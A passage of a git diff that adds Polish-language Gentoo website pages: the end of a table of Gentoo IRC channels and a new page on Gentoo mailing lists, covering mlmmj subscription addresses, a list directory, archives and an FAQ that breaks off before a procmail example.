+  <ti><uri link="irc://irc.gentoo.org/gentoo-lisp">#gentoo-lisp</uri></ti>
+  <th>Lisp w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-media">#gentoo-media</uri></ti>
+  <th>Multimedia w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-mirrors">#gentoo-mirrors</uri></ti>
+  <th>Administracja serwerami lustrzanymi Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmail">#gentoo-netmail</uri></ti>
+  <th>Pakiety związane z obsługą poczty</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>Pakiety związane z monitoringiem sieci</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-perl">#gentoo-perl</uri></ti>
+  <th>Perl w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-php">#gentoo-php</uri></ti>
+  <th>PHP w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-portage">#gentoo-portage</uri></ti>
+  <th>Rozwój Portage</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pr">#gentoo-pr</uri></ti>
+  <th>Projekt <uri link="/proj/en/pr">Public Relations</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-prefix">#gentoo-prefix</uri></ti>
+  <th>Projekt <uri link="/proj/en/gentoo-alt/prefix/">Gentoo Prefix</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-python">#gentoo-python</uri></ti>
+  <th>Dyskusje i wsparcie dotyczące języka Python w Gentoo.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-qa">#gentoo-qa</uri></ti>
+  <th>
+    <uri link="/proj/en/qa">Zapewnienie jakości (Quality Assurance)</uri> w
+    Gentoo.
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-releng">#gentoo-releng</uri></ti>
+  <th>Kanał projektu zajmującego się wydaniami Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ruby">#gentoo-ruby</uri></ti>
+  <th>Ruby w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-science">#gentoo-science</uri></ti>
+  <th>Gentoo w zastosowaniach naukowych</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-security">#gentoo-security</uri></ti>
+  <th>Bezpieczeństwo systemów Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-server">#gentoo-server</uri></ti>
+  <th>Rozmowy dotyczące serwerów.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-soc">#gentoo-soc</uri></ti>
+  <th>Rozmowy o udziale Gentoo w Google Summer of Code</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-sunrise">#gentoo-sunrise</uri>
+  </ti>
+  <th>
+  <uri link="/proj/en/sunrise">Projekt Sunrise - nakładki użytkowników Gentoo</uri>
+  </th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-toolchain">#gentoo-toolchain</uri>
+  </ti>
+  <th>
+    Dyskusja na temat podstawowych pakietów Gentoo (GCC, libc, binutils, itp).
+  </th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-treecleaners">#gentoo-treecleaners</uri>
+  </ti>
+  <th>
+    <uri link="/proj/en/qa/treecleaners">Zespół porządkujący drzewo
+    Gentoo</uri>
+  </th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-trustees">#gentoo-trustees</uri>
+  </ti>
+  <th>Opiekuni <uri link="/foundation/en/">Fundacji Gentoo</uri>.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-userreps">#gentoo-userreps</uri></ti>
+  <th>Miejsce do rozmów z reprezentatami Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vbox">#gentoo-vbox</uri></ti>
+  <th>Wsparcie i kanał deweloperski dla virtualbox na Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vdr">#gentoo-vdr</uri></ti>
+  <th>Rozmowy o VDR w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vim">#gentoo-vim</uri></ti>
+  <th>Dyskusja na temat programu Vim w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>Rozmowy o Voice over IP</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vps">#gentoo-vps</uri></ti>
+  <th>Rozmowy o VPS w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-web">#gentoo-web</uri></ti>
+  <th>Kanał o aplikacjach web- i webapp</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Kanały w językach innych niż angielski</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-au">#gentoo-au</uri></ti>
+  <th>Australia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-be">#gentoo-be</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-br">#gentoo-br</uri></ti>
+  <th>Português do Brasil</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-by">#gentoo-by</uri></ti>
+  <th>На беларускай мове</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>česky a slovensky</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cn">#gentoo-cn</uri></ti>
+  <th></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.de">#gentoo.de</uri></ti>
+  <th>Auf Deutsch</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>P&#229; Dansk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-el">#gentoo-el</uri></ti>
+  <th>Στα Ελληνικά</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-es">#gentoo-es</uri></ti>
+  <th>En español</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>Suomeksi</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoofr">#gentoofr</uri></ti>
+  <th>En français</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-id">#gentoo-id</uri></ti>
+  <th>Komunitas Pengguna Gentoo Indonesia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-in">#gentoo-in</uri></ti>
+  <th>Wsparcie dla użytkowników Gentoo z Indii</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-it">#gentoo-it</uri></ti>
+  <th>In Italiano</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>日本語で</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-no">#gentoo-no</uri></ti>
+  <th>På norsk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pl">#gentoo-pl</uri></ti>
+  <th>Po polsku</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>Em Português</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>Discuţii în limba română</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>На русском языке</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-se">#gentoo-se</uri></ti>
+  <th>På svenska</th>
+</tr>
+<tr>
+  <ti><uri link="irc:irc.gentoo.org/gentoo-tr">#gentoo-tr</uri></ti>
+  <th>Resmi Gentoo Türkiye kanalı</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>使用繁體中文(台灣)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ua">#gentoo-ua</uri></ti>
+  <th>Українською</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>United Kingdom</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ve">#gentoo-ve</uri></ti>
+  <th>Venezuela</th>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pl/lists.xml b/xml/htdocs/main/pl/lists.xml
new file mode 100644
index 00000000..8868ce0d
--- /dev/null
+++ b/xml/htdocs/main/pl/lists.xml
@@ -0,0 +1,691 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/lists.xml,v 1.20 2009/02/08 17:38:31 shadow Exp $ -->
+
+<mainpage lang="pl">
+<title>Listy mailingowe Gentoo</title>
+
+<author title="Autor">
+  <mail link="lcars">Andrea Barisani</mail>
+</author>
+<author title="Autor">
+  <mail link="cybersystem">Sascha Schwabbauer</mail>
+</author>
+<author title="Redaktor">
+  <mail link="curtis119">Curtis Napier</mail>
+</author>
+<author title="Redaktor">
+  <mail link="klieber">Kurt Lieber</mail>
+</author>
+<author title="Redaktor">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<!-- Uaktualnienie: Piotr Chmyłkowski -->
+
+<abstract>
+Listy mailingowe Gentoo.
+</abstract>
+
+<license/>
+<version>3.95</version>
+<date>2008-12-28</date>
+
+<chapter>
+<title>Krótkie wprowadzenie</title>
+<section>
+<body>
+
+<p>
+Projekt Gentoo posiada sporą liczbę list mailingowych, na których można
+dyskutować na wiele różnych związanych z Gentoo tematów. Listy te działają pod
+kontrolą <uri link="http://mlmmj.mmj.dk">mlmmj</uri>, mają w nagłówku parametr
+<c>List-Id:</c> oraz dodają prefiks <c>[nazwa_listy]</c> w temacie każdego
+e-maila, podobnie jak wszystkie nowoczesne listy mailingowe.
+</p>
+
+<p>
+Komunikacja z <c>mlmmj</c> odbywa się za pomocą poczty. Aby zapisać się na
+listę, należy wysłać pusty e-mail na adres:
+</p>
+
+<p>
+<c>nazwa_listy+subscribe@lists.gentoo.org</c>
+</p>
+
+<note>
+Oczywiście należy zastąpić wpis "nazwa_listy" nazwą odpowiedniej listy
+mailingowej. Dla przykładu: <c>gentoo-user+subscribe@lists.gentoo.org</c>, aby
+zapisać się na listę <c>gentoo-user</c>.
+</note>
+
+<p>
+Po zapisaniu się na listę, można wysłać na nią list poprzez adres:
+</p>
+
+<p>
+<c>nazwa_listy@lists.gentoo.org</c>
+</p>
+
+<p>
+Aby wypisać się z listy mailingowej, należy wysłać pusty mail na adres:
+</p>
+
+<p>
+<c>nazwa_listy+unsubscribe@lists.gentoo.org</c>
+</p>
+
+<p>
+Każda z naszych list ma dodatkową listę, na którą wysyłane są jej podsumowania.
+Podsumowania te zawierają wszystkie listy z danego okresu i zwykle są rozsyłane
+co kilka dni. Jeżeli otrzymujemy te podsumowania, a chcemy się z nich wypisać,
+można to zrobić, wysyłając maila na specyficzny adres. W celu zapisania się lub
+wypisania z takiej listy należy wysłać pusty mail na adres:
+</p>
+
+<p>
+<c>nazwa_listy+subscribe-digest@lists.gentoo.org</c><br/>
+<c>nazwa_listy+unsubscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+Aby wysłać mail na listę, na którą nie jest się zapisanym (gdy np. czyta się je
+nie za pomocą poczty, ale alternatywnych metod, takich jak np. serwis gmane),
+należy zapisać się na nie z opcją "nomail".
+</p>
+
+<p>
+<c>nazwa_listy+subscribe-nomail@lists.gentoo.org</c><br/>
+<c>nazwa_listy+unsubscribe-nomail@lists.gentoo.org</c>
+</p>
+
+<p>
+Więcej informacji o możliwościach mlmmj można otrzymać wysyłając pusty mail na
+adres:
+</p>
+
+<p>
+<c>nazwa_listy+help@lists.gentoo.org</c><br/>
+</p>
+
+<p>
+Można również przeczytać krótkie FAQ dotyczące list mailingowych, które
+znajduje się na końcu tego dokumentu.
+</p>
+
+</body>
+</section>
+<section>
+<title>Główne listy mailingowe</title>
+<body>
+
+<table>
+<tr>
+  <th>Nazwa listy</th>
+  <th>Tematyka</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user</c></ti>
+  <ti>Pomoc dla użytkowników Gentoo i ogólna dyskusja</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-announce</c></ti>
+  <ti>
+  Ogłoszenia nowych wydań, informacje o błędach związanych z
+  bezpieczeństwem
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev</c></ti>
+  <ti>Rozmowy osób pomagających w rozwijaniu Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-announce</c></ti>
+  <ti>Lista ogłoszeń dotyczących rozwoju Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-project</c></ti>
+  <ti>Dyskusje na ogólne tematy związane z Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-security</c></ti>
+  <ti>Problemy z bezpieczeństwem</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gmn</c></ti>
+  <ti>Miesięcznik Gentoo, po angielsku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc</c></ti>
+  <ti>Dokumentacja, jej tłumaczenia oraz wszelkie sugestie ich dotyczące</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-cvs</c></ti>
+  <ti>Informacje z CVS o zmianach w dokumentacji</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-commits</c></ti>
+  <ti>
+    Lista na którą są wysyłane wszystkie zmiany w naszych repozytoriach CVS i
+    SVN. Jest to lista tylko do odczytu i trafia na nią naprawdę dużo maili.
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-translators</c></ti>
+  <ti>Tłumaczenia dokumentacji</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-user</c></ti>
+  <ti>Pomoc i ogólna dyskusja związana z Gentoo/PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-dev</c></ti>
+  <ti>Rozmowy deweloperów Gentoo/PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alpha</c></ti>
+  <ti>Pomoc i ogólna dyskusja związana z Gentoo/Alpha</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-amd64</c></ti>
+  <ti>Pomoc i ogólna dyskusja związana z Gentoo/AMD64</ti>
+</tr>
+<!-- Wyłączone na żądanie vapiera
+<tr>
+  <ti><c>gentoo-arm</c></ti>
+  <ti>Pomoc i ogólna dyskusja związana z Gentoo na architekturze ARM</ti>
+</tr>
+-->
+<tr>
+  <ti><c>gentoo-hppa</c></ti>
+  <ti>Pomoc i ogólna dyskusja związana z Gentoo na architekturze HPPA</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ia64</c></ti>
+  <ti>Pomoc i ogólna dyskusja związana z Gentoo/ia64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mips</c></ti>
+  <ti>Pomoc i ogólna dyskusja związana z Gentoo/MIPS</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-sparc</c></ti>
+  <ti>Pomoc i ogólna dyskusja związana z Gentoo/Sparc</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-bsd</c></ti>
+  <ti>Rozmowy na temat Gentoo/BSD</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-xbox</c></ti>
+  <ti>Rozmowy o Gentoo na Xbox</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cygwin</c></ti>
+  <ti>Rozmowy o Gentoo/cygwin</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alt</c></ti>
+  <ti>
+  Rozmowy dotyczące projektu <uri link="/proj/en/gentoo-alt/">Gentoo on
+  Alternate Platforms</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-kernel</c></ti>
+  <ti>
+  Informacje o nowych wydaniach gentoo-sources, vesafb-tng, fbsplash oraz
+  związane z nimi dyskusje
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-laptop</c></ti>
+  <ti>Oszczędzanie energii, pcmcia i inne związane z laptopami tematy</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop</c></ti>
+  <ti>Gentoo na stacjach roboczych</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop-research</c></ti>
+  <ti>Rozwój Gentoo dla stacji roboczych</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-performance</c></ti>
+  <ti>Zwiększanie wydajności Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hardened</c></ti>
+  <ti>Rozmowy dotyczące Hardened Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-portage-dev</c></ti>
+  <ti>Rozmowy na temat rozwoju systemu Portage</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-catalyst</c></ti>
+  <ti>Rozmowy o programie catalyst</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-server</c></ti>
+  <ti>Gentoo na maszynach produkcyjnych</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-admin</c></ti>
+  <ti>Administracja systemami Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cluster</c></ti>
+  <ti>Gentoo na klastrach</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devhelp</c></ti>
+  <ti>
+    Dyskusja oraz rozwiązywanie problemów dla użytkowników piszących ebuildy.
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-web-user</c></ti>
+  <ti>Konfiguracja i administracja serwerami stron www</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-embedded</c></ti>
+  <ti>Lista dla użytkowników i deweloperów Gentoo/embedded</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-extreme-security</c></ti>
+  <ti>
+    Dyskusja na temat projektu <uri link="/proj/en/extreme-security/">Gentoo
+    Extreme Security</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-releng</c></ti>
+  <ti>Lista mailingowa zespołu Gentoo Release Engineering</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pr</c></ti>
+  <ti>Lista mailingowa zespołu Gentoo Public Relations</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-qa</c></ti>
+  <ti>Rozmowy na temat QA w Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devrel</c></ti>
+  <ti>Lista zespołu Gentoo Developer Relations</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-userrel</c></ti>
+  <ti>Lista zespołu Gentoo User Relations</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-council</c></ti>
+  <ti>Lista Gentoo Council</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mirrors</c></ti>
+  <ti>Ogłoszenia i rozmowy administratorów serwerów lustrzanych</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-lang</c></ti>
+  <ti>Rozmowy o współpracy Gentoo z poszczególnymi językami programowania</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-perl</c></ti>
+  <ti>Rozmowy o perlu w Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-java</c></ti>
+  <ti>Rozmowy o Javie w Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-science</c></ti>
+  <ti>
+  Rozmowy związane z tematyką naukową oraz aplikacjami z nią powiązanymi
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-media</c></ti>
+  <ti>Pakiety do obsługi multimediów</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gnustep</c></ti>
+  <ti>Rozmowy o GNUstep w Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-installer</c></ti>
+  <ti>
+    Rozmowy o <uri link="/proj/en/releng/installer/">Instalatorze Gentoo</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-accessibility</c></ti>
+  <ti>
+    Rozmowy związane z projektem <uri
+    link="/proj/en/desktop/accessibility/">Gentoo Accessibility</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scire</c></ti>
+  <ti>
+    Rozmowy o projekcie <uri link="/proj/en/scire/">Systems Configuration,
+    Installation and Replication Environment</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-uk</c></ti>
+  <ti>
+    Rozmowy pomiędzy deweloperami Zjednoczonego Królestwa i na temat
+    organizacji wydarzeń ta tym terenie.
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-au</c></ti>
+  <ti>
+    Rozmowy pomiędzy deweloperami australijskimi i na temat organizacji
+    wydarzeń na tym terenie.
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-forum-translations</c></ti>
+  <ti>Lista tłumaczeń Forum Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-soc</c></ti>
+  <ti>
+    Dyskusja na temat działa w Gentoo powiązanych z Google Summer of
+    Code
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devconference</c></ti>
+  <ti>Dyskusja na temat konferencji deweloperów Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nx</c></ti>
+  <ti>Dyskusja na temat NX</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-lisp</c></ti>
+  <ti>Dyskusja na temat Lisp</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-vdr</c></ti>
+  <ti>Dyskusja na temat vdr</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nfp</c></ti>
+  <ti>Lista Gentoo NFP/Trustees</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scm</c></ti>
+  <ti>
+    Dyskusje na temat migracji repozytoriów Gentoo na alternatywne systemy.
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pms</c></ti>
+  <ti>Dyskusja na temat specyfikacji menedżera pakietów Gentoo.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Listy w językach innych niż angielski</title>
+<body>
+
+<table>
+<tr>
+  <th>Nazwa listy</th>
+  <th>Tematyka</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-de</c></ti>
+  <ti>Po niemiecku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-br</c></ti>
+  <ti>Po portugalsku (Brazylia)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-es</c></ti>
+  <ti>Po hiszpańsku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-fr</c></ti>
+  <ti>Po francusku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-hu</c></ti>
+  <ti>Po węgiersku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-id</c></ti>
+  <ti>Po indonezyjsku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-kr</c></ti>
+  <ti>Po koreańsku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-nl</c></ti>
+  <ti>Po holendersku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-pl</c></ti>
+  <ti>Po polsku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-cs</c></ti>
+  <ti>Po czesku i słowacku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-ru</c></ti>
+  <ti>Po rosyjsku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-de</c></ti>
+  <ti>Tygodnik Gentoo po niemiecku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-es</c></ti>
+  <ti>Tygodnik Gentoo po hiszpańsku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-fr</c></ti>
+  <ti>Tygodnik Gentoo po francusku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-nl</c></ti>
+  <ti>Tygodnik Gentoo po holendersku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-pl</c></ti>
+  <ti>Tygodnik Gentoo po polsku</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-de</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na niemiecki</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-el</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na grecki</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-es</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na hiszpański</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fi</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na fiński</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fr</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na francuski</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-hu</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na węgierski</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-id</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na indonezyjski</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-docs-it</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na włoski</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-lt</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na litewski</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-nl</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na holenderski</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-pl</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na polski</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-ru</c></ti>
+  <ti>Tłumaczenia dokumentacji Gentoo na rosyjski</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Pozostałe listy mailingowe</title>
+<body>
+
+<table>
+<tr>
+  <th>Nazwa</th>
+  <th>Tematyka</th>
+</tr>
+<tr>
+  <ti><c>libconf</c></ti>
+  <ti>Rozwijanie libconf</ti>
+</tr>
+<tr>
+  <ti><c>bug-wranglers</c></ti>
+  <ti>
+    Lista mailingowa Gentoo Bug Wranglers, na którą można dostać się jedynie za
+    specjalnym zaproszeniem. Zapraszane są osoby aktywne w zarządzaniu błędami w
+    Bugzilli Gentoo.
+  </ti>
+</tr>
+<tr>
+  <ti><c>www-redesign</c></ti>
+  <ti>
+  Lista poświęcona dyskusji nad nowym wyglądem strony internetowej Gentoo
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Archiwa</title>
+<body>
+
+<p>
+Archiwa list dyskusyjnych Gentoo są dostępne pod adresem <br/>
+<uri link="http://archives.gentoo.org">archives.gentoo.org</uri>.
+</p>
+
+<p>
+Większość archiwów dostępnych jest również na podanych stronach:<br/>
+<uri link="http://news.gmane.org/search.php?match=gentoo">Gmane</uri><br/>
+<uri link="http://marc.theaimsgroup.com/">MARC: Mailing list ARChives</uri><br/>
+<uri link="http://www.mail-archive.com">Mail-Archive</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>Najczęściej zadawane pytanie</title>
+<body>
+
+<p>
+Zapisałem się z domowego adresu mailowego i nie mogę wysłać wiadomości na listę
+z pracy, jak to naprawić?
+</p>
+
+<p>
+W celu zredukowania ilości spamu, nasze listy mailingowe zostały
+skonfigurowane tak, aby przepuszczały tylko e-maile z adresów, które są
+zapisane na listy. Aby obejść to ograniczenie, należy skorzystać z jednej z
+możliwości <c>mlmmj</c>, która umożliwia zapisanie się z alternatywnego adresu
+mailowego, wyłącznie w celu wysyłania wiadomości na listę. Jak to działa?
+Bardzo prosto. Załóżmy, że osoba zapisana na listę <c>gentoo-dev</c> z adresu
+<c>jim@home.com</c> chce wysłać tam mail z adresu <c>james@work.com</c>. W tym
+celu musi wysłać maila z adresu <c>james@work.com</c> na adres
+<c>gentoo-dev+subscribe-nomail@lists.gentoo.org</c>. Później będzie mogła
+wysyłać na listę mailingową <c>gentoo-dev</c> posty z obu adresów.
+</p>
+
+<p>
+<b>Jak zmienić zwykłą subskrypcję na subskrypcję podsumowań?</b>
+</p>
+
+<p>
+Prosto, wystarczy wypisać się ze zwykłej listy i zapisać do tej z
+podsumowaniami. Dla listy o nazwie <c>nazwa_listy</c> można zrobić to wysyłając
+pustego maila na adresy:
+</p>
+
+<p>
+<c>nazwa_listy+unsubscribe@lists.gentoo.org</c><br/>
+<c>nazwa_listy+subscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+<b>Jak filtrować wiadomości z list mailingowych Gentoo za pomocą procmaila?</b>
+</p>
+
+<p>
+Wystarczy wykorzystać następują regułkę <c>procmail</c>:
+</p>
+
